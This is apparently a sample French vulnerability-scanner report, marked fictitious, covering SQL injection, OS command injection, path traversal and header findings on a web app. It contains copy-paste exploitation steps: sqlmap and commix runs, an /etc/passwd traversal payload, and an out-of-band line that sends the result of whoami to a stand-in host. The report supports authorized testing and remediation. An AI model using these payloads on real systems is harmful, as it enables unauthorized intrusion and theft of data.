EXEMPLE · CIBLE ET DONNÉES FICTIVES

SauronSec — Rapport de détection

Cible : https://app.exemple.fr · Profil : ultra · 2026-08-25 09:14:07 · Durée : 1284.6s · Requêtes : 48 210
Technologies : Nginx · PHP
Score de risque global : 92/100 · Niveau : Critique

Résumé exécutif

Le scan a confirmé 5 faiblesse(s) sur https://app.exemple.fr, dont 3 de sévérité Critique/Élevée. Niveau de risque global : Critique (92/100). Catégories OWASP principales : A03:2021 – Injection, A01:2021 – Contrôle d'accès défaillant, A05:2021 – Mauvaise configuration de sécurité. Chaque faille a été re-testée par ré-exploitation sûre : les faux positifs non reproductibles ont été écartés. La vérification est bornée et non destructive : aucune donnée n'a été extraite, copiée ni conservée.
1
Critique
2
Élevé
1
Moyen
0
Faible
1
Info

Répartition OWASP Top 10 (2021)

A03:2021 – Injection2
A01:2021 – Contrôle d'accès défaillant1
A05:2021 – Mauvaise configuration de sécurité2

Notes du scan

Vulnérabilités (5)

Critique #1 · Injection SQL — aveugle temporisée (mysql) EXPLOITABLE confiance 98% · CVSS 9.8 · CWE-89 · A03:2021 – Injection
EXPLICATION SIMPLE (sans jargon)

• C'est quoi le problème ?
   Ton site pose une question à sa base de données en y collant directement ce que tape le visiteur. Un visiteur malin peut donc réécrire la question à sa place.

• Où, exactement, sur ton site ?
   - Page concernée : https://app.exemple.fr/produit
   - L'endroit précis : le champ « id » (envoyé en GET)

• Ce qu'un pirate peut en faire :
   Lire toute ta base : comptes, mots de passe, e-mails, commandes de tes clients. Parfois se connecter en admin sans mot de passe.

• Comment le réparer, pas à pas :
   1. Ne colle JAMAIS le texte du visiteur dans une requête SQL. Utilise des requêtes préparées (paramétrées).
   2. PHP/PDO : $r = $pdo->prepare("SELECT * FROM produits WHERE id = ?"); $r->execute([$id]);
   3. Vérifie que « id » est bien un nombre : refuse tout le reste.
VérificationEXPLOITABLE
Bénéfice piratelecture de la base de données (preuve bornée obtenue puis écartée — aucune donnée conservée)
Catégorieactive / Injection SQL (détection + vérification)
URLhttps://app.exemple.fr/produit
Paramètreid
Charge1" AND SLEEP(6)-- -
Preuve
référence 0.4s | contrôle(0) 0.5s | délai(3) 3.6s | délai(6) 6.5s — le délai CROÎT proportionnellement à la charge (ratio ~1.0), reproduit deux fois. Une latence réseau ne suit PAS la charge.
ExploitabilitéCONFIRMÉE — signal rejoué deux fois (absent de la référence)
DétailLe point d'injection « id » (GET) introduit un délai CONTRÔLABLE et PROPORTIONNEL à la valeur injectée (0→0.5s, 3→3.6s, 6→6.5s), signature d'une temporisation SQL, reproduite deux fois. Détection uniquement — aucune extraction aveugle.
Exploitation
🎯 FAILLE : Injection SQL — aveugle temporisée (mysql)
   Adresse   : https://app.exemple.fr/produit?id=1
   Paramètre : id   (méthode GET)
   Charge    : 1" AND SLEEP(6)-- -

En 1 phrase : Injection SQL aveugle temporisée sur le paramètre « id ».
État        : CONFIRMÉE — signal rejoué deux fois (absent de la référence)

━━━━━━━━━━ CE QUE TU DOIS FAIRE, DANS L'ORDRE ━━━━━━━━━━

▶ ÉTAPE 1 — Ouvre un terminal (Kali : « Terminal » ; Windows : PowerShell).

▶ ÉTAPE 2 — Confirme la faille toi-même (curl est installé partout)
      👉 Copie-colle :  curl -i "https://app.exemple.fr/produit?id=1%22%20AND%20SLEEP(6)--%20-"
      ✅ Tu dois voir : la page met plusieurs SECONDES de plus à répondre avec la charge, alors qu'elle répond tout de suite avec une valeur normale.

▶ ÉTAPE 3 — Exploite avec sqlmap (déjà installé sur Kali)
      👉 Copie-colle :  sqlmap -u "https://app.exemple.fr/produit?id=1" -p id --batch --random-agent --level=5 --risk=3
      ✅ Tu dois voir : « … is vulnerable », puis le SGBD, le compte utilisé et ses droits.

▶ ÉTAPE 4 — Prouve l'impact — minimal et propre
      👉 Copie-colle :  sqlmap -u "https://app.exemple.fr/produit?id=1" -p id --batch --current-user --current-db --is-dba
      ⛔ Jamais --dump sur toute la base, jamais --os-shell.

━━━━━━━━━━ CORRECTION (à transmettre au client) ━━━━━━━━━━
   1. Requêtes PARAMÉTRÉES partout (variables liées) — jamais de concaténation.
   2. Valider/typer strictement les entrées (id = entier).
   3. Compte SGBD au moindre privilège (pas de DBA, pas de FILE).
   4. Désactiver l'affichage des erreurs SQL détaillées en production.

⚠ Cible AUTORISÉE PAR ÉCRIT uniquement. Vérification bornée et non destructive (rien extrait/conservé, rien modifié).
CorrectifUtiliser des requêtes paramétrées et un typage strict des entrées.
URLs affectées (3)
  • https://app.exemple.fr/produit?id=1
  • https://app.exemple.fr/catalogue?ref=42
  • https://app.exemple.fr/recherche?q=test
Élevé #2 · Injection de commande OS — délai temporel NON VÉRIFIÉE confiance 90% · CVSS 9.1 · CWE-78 · A03:2021 – Injection
EXPLICATION SIMPLE (sans jargon)

• C'est quoi le problème ?
   Ton site lance des commandes système en y collant du texte du visiteur. Le visiteur peut donc glisser SA propre commande.

• Où, exactement, sur ton site ?
   - Page concernée : https://app.exemple.fr/outils/ping
   - L'endroit précis : le champ « host » (envoyé en GET)

• Ce qu'un pirate peut en faire :
   Exécuter n'importe quelle commande sur ton serveur : tout lire, tout supprimer, installer un virus, rebondir vers ton réseau interne.

• Comment le réparer, pas à pas :
   1. N'appelle pas un terminal avec du texte du visiteur. Utilise les fonctions qui prennent les arguments dans une LISTE.
   2. Node.js : execFile('ping', ['-c','1', hote]) au lieu de exec('ping '+hote).
   3. Vérifie strictement la valeur attendue (une adresse doit ressembler à une adresse).
VérificationNON VÉRIFIÉE
Bénéfice pirateexécution de commandes système — pas re-testée jusqu'à l'impact (borné, non destructif)
Catégorieactive / Injection de commande (détection)
URLhttps://app.exemple.fr/outils/ping
Paramètrehost
Charge127.0.0.1 & ping -c 4 127.0.0.1
Preuve
référence 0.2s | contrôle(0) 0.3s | délai(2) 2.4s | délai(4) 4.3s — le délai CROÎT avec la charge (proportionnel), ce qu'une latence réseau ne fait pas.
ExploitabilitéCONFIRMÉE — signal rejoué deux fois (absent de la référence)
DétailLe paramètre « host » (GET) introduit un délai CONTRÔLABLE et PROPORTIONNEL via une commande injectée, reproduit deux fois. Détection uniquement — la commande ne fait qu'attendre.
Exploitation
🎯 FAILLE : Injection de commande OS — délai temporel
   Adresse   : https://app.exemple.fr/outils/ping
   Paramètre : host   (méthode GET)
   Charge    : 127.0.0.1 & ping -c 4 127.0.0.1

État : CONFIRMÉE — signal rejoué deux fois (absent de la référence)

━━━━━━━━━━ CE QUE TU DOIS FAIRE, DANS L'ORDRE ━━━━━━━━━━

▶ ÉTAPE 1 — Confirme avec curl : la page répond plusieurs secondes de plus avec la charge.
▶ ÉTAPE 2 — Fais sortir la preuve vers ton collaborateur OOB (la sortie est aveugle) :
      ; curl http://TON-OOB/$(whoami)   (Linux)   — ou —   & nslookup %USERNAME%.TON-OOB   (Windows)
▶ ÉTAPE 3 — Automatise avec commix : commix -u "https://app.exemple.fr/outils/ping?host=127.0.0.1"

━━━━━━━━━━ CORRECTION (à transmettre au client) ━━━━━━━━━━
   1. Jamais de shell avec entrée utilisateur — API avec TABLEAU d'arguments (shell=False).
   2. Liste blanche stricte (host = regex IP/domaine).
   3. Service au moindre privilège ; durcir avec AppArmor/SELinux.

⚠ Cible AUTORISÉE PAR ÉCRIT uniquement. Vérification bornée et non destructive.
CorrectifNe jamais passer une entrée utilisateur à un shell ; API d'exécution sûres avec tableaux d'arguments.
URLs affectées (1)
  • https://app.exemple.fr/outils/ping
Élevé #3 · Traversée de chemin — oracle d'existence de fichier NON VÉRIFIÉE confiance 88% · CVSS 7.5 · CWE-22 · A01:2021 – Contrôle d'accès défaillant
EXPLICATION SIMPLE (sans jargon)

• C'est quoi le problème ?
   Ton site ouvre un fichier dont le nom vient du visiteur. En écrivant ../../ le visiteur remonte dans les dossiers et lit des fichiers qu'il ne devrait pas voir.

• Où, exactement, sur ton site ?
   - Page concernée : https://app.exemple.fr/telecharger
   - L'endroit précis : le champ « file » (envoyé en GET)

• Ce qu'un pirate peut en faire :
   Lire des fichiers privés du serveur : configuration, mots de passe, code source. Parfois cela mène à exécuter du code.

• Comment le réparer, pas à pas :
   1. Fais correspondre un identifiant à un fichier côté serveur (1 → rapport.pdf) et refuse tout le reste.
   2. Si tu acceptes un nom, garde seulement le basename et vérifie que le chemin final reste dans le dossier autorisé.
   3. Interdis « ../ » et les chemins absolus ; range les secrets HORS du dossier public.
VérificationNON VÉRIFIÉE
Bénéfice piratelecture de fichiers arbitraires — élargit fortement la surface d'attaque
Catégorieactive / LFI / Traversée de chemin (détection)
URLhttps://app.exemple.fr/telecharger
Paramètrefile
Charge../../../../etc/passwd
Preuve
réponse différente pour un fichier système RÉEL (../×4 etc/passwd) vs un fichier INEXISTANT de même forme — l'app résout le chemin fourni.
ExploitabilitéCONFIRMÉE — signal rejoué deux fois (absent de la référence)
DétailLe paramètre « file » (GET) contrôle un chemin : la réponse diffère selon que le fichier traversé existe ou non (contrôle de stabilité passé). Détection uniquement — aucun contenu lu.
Exploitation
🎯 FAILLE : Traversée de chemin — oracle d'existence de fichier
   Adresse   : https://app.exemple.fr/telecharger
   Paramètre : file   (méthode GET)
   Charge    : ../../../../etc/passwd

État : CONFIRMÉE — signal rejoué deux fois (absent de la référence)

━━━━━━━━━━ CE QUE TU DOIS FAIRE, DANS L'ORDRE ━━━━━━━━━━

▶ ÉTAPE 1 — Confirme avec curl :
      curl -i "https://app.exemple.fr/telecharger?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd"
      ✅ Tu dois voir des lignes « root:x:0:0:… ».
▶ ÉTAPE 2 — Automatise avec ffuf (« FUZZ » = l'endroit testé) :
      ffuf -u "https://app.exemple.fr/telecharger?file=FUZZ" -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -mr "root:x:0:0"

━━━━━━━━━━ CORRECTION (à transmettre au client) ━━━━━━━━━━
   1. Identifiant indirect (mappage id→fichier) avec liste blanche.
   2. basename() + validation, puis vérifier que realpath reste DANS le répertoire autorisé.
   3. allow_url_include=Off (PHP) ; secrets hors racine web.

⚠ Cible AUTORISÉE PAR ÉCRIT uniquement. Vérification bornée et non destructive.
CorrectifRésoudre et valider les chemins contre une liste blanche ; refuser « .. » ; moindre privilège.
URLs affectées (6)
  • https://app.exemple.fr/telecharger?file=guide.pdf
  • https://app.exemple.fr/telecharger?file=facture-2026.pdf
  • https://app.exemple.fr/media?path=logo.png
  • https://app.exemple.fr/docs?name=cgv.html
  • https://app.exemple.fr/export?tpl=modele
  • https://app.exemple.fr/view?page=accueil
Moyen #4 · En-têtes de sécurité manquants NON VÉRIFIÉE confiance 100% · CVSS 5.3 · CWE-693 · A05:2021 – Mauvaise configuration de sécurité
EXPLICATION SIMPLE (sans jargon)

• C'est quoi le problème ?
   Il manque des « en-têtes » de sécurité : de petites consignes que le serveur donne au navigateur pour le protéger. Sans elles, certaines attaques sont plus faciles.

• Où, exactement, sur ton site ?
   - Toutes les pages de https://app.exemple.fr

• Comment le réparer, pas à pas :
   1. Ajoute une Content-Security-Policy stricte, X-Content-Type-Options: nosniff, et HSTS.
   2. Sur Nginx : add_header dans le bloc server, puis recharge la configuration.
VérificationNON VÉRIFIÉE
Bénéfice piratesurface accrue (XSS, sniffing MIME, downgrade HTTP) — pas exploitable seul
Catégoriepassive / En-têtes de sécurité (détection)
URLhttps://app.exemple.fr/
Paramètre
Preuve
Absents : Content-Security-Policy, X-Content-Type-Options, Strict-Transport-Security, Referrer-Policy.
CorrectifAjouter CSP stricte, nosniff, HSTS et Referrer-Policy: no-referrer. Vérifier les attributs de cookies (HttpOnly, Secure, SameSite).
Info #5 · Empreinte technologique NON VÉRIFIÉE confiance 95% · CVSS 0.0 · CWE-200 · A05:2021 – Mauvaise configuration de sécurité
EXPLICATION SIMPLE (sans jargon)

• C'est quoi le problème ?
   Le serveur annonce ses versions logicielles. Ce n'est pas une faille en soi, mais cela aide un attaquant à cibler des failles connues.

• Comment le réparer, pas à pas :
   1. Masque la version dans l'en-tête « Server » (Nginx : server_tokens off;).
   2. Retire l'en-tête « X-Powered-By ».
VérificationNON VÉRIFIÉE
Catégorierecon / Empreinte serveur
URLhttps://app.exemple.fr/
Preuve
Server: nginx/1.24.0 · X-Powered-By: PHP/8.2.1
CorrectifMasquer les versions (server_tokens off ; retirer X-Powered-By).